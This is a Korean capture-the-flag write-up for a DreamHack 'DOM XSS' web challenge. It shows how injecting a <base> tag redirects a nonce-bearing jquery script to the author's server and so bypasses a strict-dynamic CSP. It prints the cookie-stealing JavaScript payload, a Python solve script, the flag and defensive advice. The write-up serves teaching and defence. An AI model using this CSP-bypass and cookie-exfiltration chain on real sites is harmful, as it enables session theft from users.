CSP가 script-src에 nonce와 strict-dynamic을 걸어 인라인 스크립트도 onerror도 다 막는다. nonce는 매 응답마다 회전해서 값을 훔칠 수도 없다. 하지만 원시 HTML 주입점이 nonce가 붙은 jquery 스크립트보다 앞에 있어서, base 태그로 그 스크립트의 로드 origin을 내 서버로 돌려버리면 nonce 값을 몰라도 이미 붙은 nonce를 재활용해 내 JS가 실행된다. document.cookie를 동일출처 /memo에 적재해 회수했다.
문제: DreamHack — DOM XSS
분류: Web
난이도: 🥈 Silver 1
FLAG: DH{f246f75f094da605e087bb5c0916c0d2}
메인 페이지 — vuln / memo / flag 세 개의 링크
이름은 DOM XSS인데, 정작 발목을 잡는 건 DOM 싱크가 아니라 CSP였다. 인라인 스크립트도 이벤트 핸들러도 전부 nonce 뒤에 숨어 있고, 그 nonce는 매 응답마다 새로 뽑힌다. 값을 알아낼 방법이 없어 보인다. 결국 "nonce 값을 알아낸다"는 발상 자체를 버리고, 이미 페이지에 붙어 있는 유효한 nonce를 그대로 빌려 쓰는 쪽으로 방향을 틀었다.
문제 개요
항목
내용
문제명
DOM XSS
난이도
🥈 Silver 1
분류
Web (XSS / CSP 우회)
스택
Flask + Selenium(HeadlessChrome) 봇
제공
app.py, 템플릿, 서버
핵심 취약점
param|safe 원시 HTML 주입 + <base>로 nonce 스크립트 origin 탈취
봇은 flag 값을 쿠키로 들고 /vuln을 방문한다. 그 쿠키를 훔치려면 봇의 브라우저에서 JS를 실행해야 하는데, CSP가 script-src 'self' 'nonce-...' 'strict-dynamic'이라 평범한 XSS는 전부 막힌다.
풀이 흐름은 이렇다. <base href="//내서버/">를 주입점에 넣어, 뒤따라오는 <script src="/static/js/jquery.min.js" nonce=X>의 로드 주소를 내 서버로 돌린다. 그 스크립트 태그에는 이미 유효한 nonce가 박혀 있고strict-dynamic은 host를 따지지 않으므로, 내가 서빙한 JS가 페이지 권한으로 실행된다. 거기서 document.cookie를 동일출처 /memo에 적재하고, 내가 /memo를 읽어 flag를 회수한다.
🧩 배경 — nonce 와 strict-dynamic
CSP의 script-src에 'nonce-<랜덤>'이 있으면, 그 nonce 속성을 가진 <script>만 실행된다. 인라인이든 외부든 nonce가 없으면 죽는다. 여기에 'strict-dynamic'이 더해지면 두 가지가 바뀐다.
'self'나 https://cdn... 같은 host 기반 출처 표현이 전부 무시된다. 오직 nonce(또는 hash)만 신뢰의 근거가 된다.
nonce로 신뢰받은 스크립트가 DOM API로 만들어낸 스크립트는 nonce 없이도 실행된다(신뢰 전파). 반대로 파서가 삽입한 스크립트(innerHTML, document.write)는 전파 대상이 아니다.
즉 이 CSP 아래에서 스크립트를 실행하려면 유효한 nonce가 붙은 <script> 하나가 반드시 필요하다. 문제는 그 nonce 값을 내가 모른다는 것.
여기서 방향이 갈린다. nonce "값"을 알아내 새 스크립트에 넣을 것인가, 아니면 nonce가 "이미 붙어 있는" 스크립트를 그대로 이용할 것인가. 앞쪽은 뒤에서 보듯 막다른 길이고, 답은 뒤쪽에 있다.
check_xss는 봇(HeadlessChrome)에게 flag 쿠키를 물린 뒤 http://127.0.0.1:8000/vuln?param=...#name을 방문시킨다. param은 쿼리로, name은 hash로 들어간다.
vuln.html을 보면 주입점이 두 군데다.
<script nonce={{ nonce }}> window.addEventListener("load", function() { var name_elem = document.getElementById("name"); name_elem.innerHTML = `${location.hash.slice(1)} is my name !`; // DOM 싱크 });</script>{{ param | safe }} <!-- 원시 HTML 주입 --><pre id="name"></pre>
location.hash가 innerHTML로 흘러가는 전형적인 DOM XSS 싱크가 하나, 그리고 param이 | safe로 이스케이프 없이 통째로 박히는 반사 지점이 하나. #dreamhack을 붙여보면 hash가 그대로 innerHTML에 반영되는 걸 볼 수 있다.
/vuln — hash가 innerHTML로 반영("dreamhack is my name !"), param엔 dreamhack.io 로고 img 반사
flag를 얻는 통로는 /flag의 POST 폼이다. 여기에 param과 name을 넣으면 봇이 flag 쿠키를 들고 방문한다.
/flag — param(쿼리)과 name(hash)을 받는 폼
이제 CSP 헤더와, 렌더된 /vuln에서 주입점이 어디에 놓이는지를 같이 본다. 아래는 curl로 헤더와 본문을 뜬 것이다.
CSP 헤더 + 주입점(44행)이 nonce 인라인 스크립트(38행)와 nonce가 붙은 jquery/bootstrap 스크립트(50·51행) 사이에 위치
이 한 장이 사실상 풀이의 전부다. INJECT_HERE(우리 param)가 nonce가 붙은 <script src="/static/js/jquery.min.js">보다 앞에 있다. HTML의 <base>는 그 뒤에 나오는 상대경로 URL 해석에 영향을 준다. 주입점이 앞이니, 여기에 <base>를 심으면 뒤의 jquery 스크립트 로드 주소를 내가 바꿀 수 있다.
🐛 삽질 — nonce를 정면돌파하려던 시도들
▶🐛 삽질 1 — innerHTML·onerror로는 한 발도 못 나간다
가장 먼저 떠오르는 두 가지가 다 막힌다.
innerHTML = hash는 DOM 싱크지만, innerHTML로 삽입된 <script>는 원래 실행되지 않는다. <img src=x onerror=...>를 넣어봐도 인라인 이벤트 핸들러라 'unsafe-inline'이 없는 이 CSP에선 죽는다. strict-dynamic이 있으면 'unsafe-inline'은 있어도 무시되니 더더욱 방법이 없다.
param으로 <script>를 직접 넣어도 nonce가 없으면 실행 안 된다.
실제로 인라인 onerror로 exfil을 시도해 봤다. /memo에 마커가 남는지로 성공 여부를 판정한다.
그러면 nonce 값을 알아내서 param에 <script nonce=값>을 넣으면 되지 않을까. 회전 로직을 보면 미끄러진다.
# 한 응답 처리 순서# 1) 뷰: render_template(..., nonce=현재값 N) → 페이지 <script nonce=N># 2) after_request: CSP 헤더 = nonce-N → 헤더와 페이지가 같은 N# 3) nonce = 새 랜덤 N' → 다음 요청용
한 응답 안에서 페이지와 헤더의 nonce는 같은 N으로 일관된다. 그런데 그 N은 직전 요청이 끝나며 뽑아둔 값이고, 응답을 관측하는 순간 이미 소비돼 다음 값 N'으로 회전한다. 내가 어떤 요청으로 nonce를 보면, 그 nonce는 바로 그 요청이 써버린 값이다. 미래에 봇이 쓸 nonce는 항상 아직 뽑히지 않은 새 랜덤이라 관측이 불가능하다.
게다가 봇의 read_url은 GET / → GET /vuln 두 번을 연달아 때리므로, 봇의 /vuln nonce는 내가 마지막으로 본 값에서 두 번 더 회전한 값이다. 예측은 접는다. nonce "값"을 손에 넣는 길은 없다.
두 삽질의 결론은 하나로 모인다. nonce 값을 얻는 건 불가능하다. 그러니 값이 필요 없는 길을 찾아야 한다 — 이미 nonce가 붙어 있는 스크립트를 재활용하는 것.
💣 핵심 — 이미 붙은 nonce를 <base>로 빌려 쓴다
base.html은 본문 끝에서 jquery와 bootstrap을 nonce와 함께 불러온다.
이 src는 루트 상대경로(/static/...)다. 루트 상대경로는 <base href>의 경로 부분은 무시하지만 origin(scheme+host+port)은 base를 따른다. 그리고 앞서 봤듯 우리 param 주입점은 이 스크립트들보다 앞에 있다.
그래서 param에 <base href="https://zino.kr/">를 넣으면, 브라우저는 jquery를 https://zino.kr/static/js/jquery.min.js에서 불러온다. 그 스크립트 태그에는 서버가 박아둔 유효한 nonce가 그대로 붙어 있고, strict-dynamic은 host를 따지지 않으니, 출처가 내 서버로 바뀌어도 nonce 하나로 실행 허가가 난다. nonce 값을 몰라도 되는 이유가 이것이다 — 값을 읽는 게 아니라, 값이 붙은 태그의 목적지를 바꾼다.
공격 체인 — base가 nonce 스크립트의 src origin을 재해석, strict-dynamic이 host를 무시해 공격자 JS가 페이지 권한으로 실행 → document.cookie를 /memo에 적재
주입된 /vuln 페이지 자체는 겉보기엔 멀쩡하다. <base>는 화면에 아무것도 그리지 않고, 조용히 뒤따르는 스크립트의 목적지만 바꾼다.
URL 바에 base 페이로드가 보이는 /vuln — 본문은 평범하지만 jquery 로드는 내 서버로 향한다
exfil 경로도 CSP 안에서 풀어야 한다. default-src 'self'라 외부로의 fetch/이미지는 막히고, img-src는 dreamhack.io뿐이다. 하지만 /memo는 넣은 텍스트를 전역에 쌓아두고 아무나 읽을 수 있는 동일출처 저장소다. 내 스크립트가 document.cookie를 /memo에 적재하면(동일출처라 connect-src 'self' 통과), 내가 /memo를 읽어 flag를 가져온다.
🎯 익스플로잇
내 서버(zino.kr)의 /static/js/jquery.min.js 자리에 올려둔 페이로드는 이게 전부다. <base>가 문서 base URL을 바꿔놓으므로, exfil 대상은 상대경로가 아니라 절대 URL로 지정해야 봇의 오리진(127.0.0.1:8000)으로 간다. 봇이 페이지를 닫기 전에 확실히 보내려고 동기 XHR을 쓴다.
/* zino.kr/static/js/jquery.min.js — base 하이재킹으로 로드되어 페이지 nonce로 실행 */try { var x = new XMLHttpRequest(); x.open('GET', 'http://127.0.0.1:8000/memo?memo=' + encodeURIComponent('domxss_hit ' + document.cookie), false); x.send();} catch (e) {}
봇이 flag 쿠키를 들고 /vuln을 방문하면, base가 jquery 로드를 내 서버로 돌리고, 내 JS가 실행되어 쿠키를 /memo에 적재한다. /memo를 열면 flag가 그대로 찍혀 있다.
/memo — 유출된 flag 쿠키가 domxss_hit 뒤에 그대로 찍혀 있다
봇이 정말로 내 서버에서 페이로드를 가져갔는지는 내 nginx 접근 로그로도 확인된다. Referer가 http://127.0.0.1:8000/이고 User-Agent가 HeadlessChrome인 요청이 남는다 — 봇 브라우저가 base를 따라 cross-origin으로 내 JS를 로드했다는 증거다.
nginx 로그 — DreamHack 봇(HeadlessChrome)이 Referer 127.0.0.1:8000으로 jquery.min.js를 200으로 로드
🚀 Full Exploit
트리거부터 회수까지 한 스크립트로 묶었다. 페이로드 JS는 미리 내 서버의 /static/js/jquery.min.js에 올려둔 상태를 전제로 한다.
#!/usr/bin/env python3import re, sys, time, urllib.request, urllib.parseTARGET = sys.argv[1] if len(sys.argv) > 1 else "http://host3.dreamhack.games:11397"EVIL = sys.argv[2] if len(sys.argv) > 2 else "https://zino.kr/" # /static/js/jquery.min.js = payloaddef post(path, data): body = urllib.parse.urlencode(data).encode() req = urllib.request.Request(TARGET + path, data=body, method="POST") return urllib.request.urlopen(req, timeout=15).read().decode(errors="replace")def get(path): return urllib.request.urlopen(TARGET + path, timeout=15).read().decode(errors="replace")# 1) param 앞의 nonce 스크립트를 base로 탈취하도록 <base> 주입 → 봇 트리거inject = f'<base href="{EVIL}">'print("[+] /flag 응답:", post("/flag", {"param": inject, "name": "x"}).strip())# 2) 봇이 /memo에 적재한 flag 쿠키 회수for i in range(10): time.sleep(1) m = re.search(r"DH\{[^}]+\}", get("/memo?memo=")) if m: print("[✓] FLAG =", m.group(0)); break
실행하면 트리거 → 폴링 → flag 회수가 순서대로 찍힌다.
solve.py 실행 — POST /flag 후 /memo에서 flag 회수
[✓] FLAG = DH{f246f75f094da605e087bb5c0916c0d2}
📝 결론
nonce는 값을 지키는 게 아니라, 붙은 태그를 지켜야 한다.
이 문제의 CSP는 인라인·이벤트 핸들러·host 기반 로드를 전부 닫고 nonce만 남겼다. nonce 값 자체도 매 응답 회전해서 훔칠 수 없게 했다. 그런데 정작 뚫린 건 nonce가 아니라, 그 nonce가 붙은 <script>의 로드 목적지였다. 원시 HTML 주입점이 스크립트보다 앞에 있는 순간, <base> 한 줄로 목적지를 바꿔 유효한 nonce를 통째로 빌려 쓸 수 있다.
strict-dynamic은 host 검증을 스스로 끈다.
'self'나 CDN 화이트리스트를 믿고 있었다면 여기서 무너진다. strict-dynamic이 걸린 순간 출처 검증의 무게는 전부 nonce로 쏠린다. 그러니 nonce가 붙은 태그가 attacker-controlled 마크업 뒤에 놓이지 않도록 하는 게 핵심이다.
방어는 세 곳에서 가능하다.
param을 | safe로 내보내지 않고 이스케이프하면 애초에 마크업 주입이 없다. <base>가 무섭다면 CSP에 base-uri 'self'(또는 'none')를 넣어 base의 origin 변경을 봉쇄한다 — 실제로 이 블로그(zino.kr) 자신의 CSP에는 base-uri 'self'가 들어 있다. 그리고 세션·비밀 쿠키는 HttpOnly로 두면 XSS가 나도 document.cookie로는 읽히지 않는다. 이 문제는 세 가지가 동시에 빠져 있었다.
Comments
댓글
댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)
댓글 불러오는 중…